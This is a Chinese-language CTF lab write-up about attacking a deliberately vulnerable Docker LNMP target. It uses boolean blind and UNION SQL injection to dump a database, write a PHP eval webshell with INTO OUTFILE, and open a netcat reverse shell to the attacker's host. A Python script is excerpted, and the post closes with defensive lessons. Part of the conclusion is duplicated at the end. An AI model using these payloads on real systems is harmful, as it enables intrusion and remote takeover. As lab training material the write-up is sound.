基于SQL布尔盲注与联合查询的WEB渗透

发布于:2022-12-18 ⋅ 阅读:(227) ⋅ 点赞:(0)

基于SQL布尔盲注与联合查询的WEB渗透

0x00 靶机环境

  • 基于LNMP框架,通过GET方式提交参数id

  • 靶机源码:./target

  • 渗透程序源码:./poc/sqli-getshell.py

  • 靶机编译方式:

    cd ./target
    docker-compose up -d
    sudo chmod 777 www -R
    # 给 www 写权限,便于后续webshell写入
    

image.png

  • 在手动测试时没有检测到WAFunion select正常执行,可以联合查询注入
  • 查询错误不回显错误信息,仅返回WRONG,无法进行报错注入,可以布尔盲注
  • load_file("/etc/passwd")可执行,into outfile('/tmp/tmp')可执行,有机会写入WEBSHELL
  • 注入version()命令,查询到MySQL的版本较低,植入的WEBSHELL可能具有644及以上的权限,外部用户可读

0x02 靶机源码分析

  • ./mysql/init/privileges.sql:授予所有用户file权限

    image.png

  • ./mysql/my.cnf:关闭MySql文件读写控制

    image.png

    ./php/Dockerfilephp容器中安装了netcat,可以执行nc命令反弹shell

    image.png

  • ./docker-compose.ymlphpmysql容器同时映射了/var/www/html,可以直接将WEBSHELL写入站点根目录;同时,MySQL版本为5,导出的WEBSHELL外部用户可读,即php解释器可解释

    image.png

0x03 渗透脚本编写

  • 源码:./poc/sqli-getshell.py

  • 整个攻击脚本使用Python3编写,主要利用requests库与服务器交互

  • 由于涉及os.system('nc xxx')等命令,脚本需要在Linux环境下运行

A. 布尔盲注获取数据

  • 核心payloadand拼接注入的命令,利用ascii()substr()等函数逐字符猜测,循环测试得到所需信息

    ?id=1 and ascii(substr(database(),{index},{index}))<{x}--+
    

B. 联合查询写入木马

  • 核心payload:通过union select,将一句话木马写入后端服务器

    ?id=2988 union select 1,2, \"<?php eval(@$_POST['xiabee']);?>\" into outfile '/var/www/html/{}'
    
  • 木马随机命名,避免重复执行时因文件名冲突而异常终止:

    filename = rand_str(6)+'.php'
    

C. PYTHON 开启本地NC

  • 核心payload:打开nc监听,等待受害者机器上线

    os.system('nc -nvlp {port}'.format(xport))
    

D. PHP 命令反弹SHELL

  • 核心payload:由上述代码可知,变量$xiabee可以实现任意命令执行,这里通过pythonrequests发送phpsystem()命令,实现nc,连接攻击者主机:

    payload = "system(\'nc -v {ip_of_attacker} {port} -e /bin/bash\');"
    data = {'xiabee': payload}
    r = requests.post(url = new_url, data = data)
    

E. FORK() 开启子进程

  • 由于需要本地开启nc,会导致进程阻塞,无法发送payload,故通过os.fork()开启子进程,通过两个进程分别执行ncsend payload

  • 需要确保nc开启后再发送payload,故在send payload进程中sleep一段时间

    pid = os.fork()
    if pid != 0:
        os.system('nc -nvlp {}'.format(xport))
    else:
        time.sleep(8)
        # sleep until nc process already started
        data = {'xiabee': payload}
        r = requests.post(url = new_url, data = data)
    

F. 输出优化

  • 保留并输出部分布尔盲注过程,减少程序停顿时间,便于攻击者观察程序是否正在运行

  • 添加[+][-]等标记,便于观察程序CLI输出

    image.png

0x04 渗透结果

  • 查询整个security库,包含user, flag等表单,获得核心表单flag表的flag字段:FLAG{W2LC0M2_T@_THE_CTF_W021D!}

image.png

  • 写入WEBSHELL并解析,反弹shell成功

image.png

  • WEBSHELL命令执行成功,拿下容器控制权:

image.png

0x05 渗透心得

  • 本次SQL注入原理比较简单,仅通过布尔盲注和联合查询进行各项操作,但环境的搭建远比我想象的复杂的多…最开始直接运行去年编写的LNMP环境,发现libssl库更新,导致php容器无法运行…最后被迫在Dockerfile中写入手动安装旧版本libssl的命令
  • 在注入的实践过程中也遇到了许多问题:比如WEBSHELL写入无回显,重复执行导致命名冲突;nc阻塞进程,导致payload无法发送等…后面联想到操作系统课程中学到的进程通信等知识,意识到可以通过创建子进程来处理阻塞的问题;而随机化文件名是迫不得已,虽然巧妙的避开的重名的风险,但是每次执行都产生新的WEBSHELL,实战中会增加被受害者发现的可能性,实验中也增加了删除废弃WEBSHELL的工作量…
  • 有输入的地方就有攻击,有服务的地方就有攻击面…自己编写服务程序时需要多加注意,努力减小攻击面

0x06 渗透总结

  • 容器隔离具有局限性,不同容器拥有相同的目录映射时,会增大攻击面,可能会导致容器间的攻击
  • 外部用户拥有站点根目录的写入权限时,给getshell创造了可能
    务的地方就有攻击面…自己编写服务程序时需要多加注意,努力减小攻击面

0x06 渗透总结

  • 容器隔离具有局限性,不同容器拥有相同的目录映射时,会增大攻击面,可能会导致容器间的攻击
  • 外部用户拥有站点根目录的写入权限时,给getshell创造了可能
  • Mysql服务开启任意文件读写后需及时关闭,否则极大增加攻击面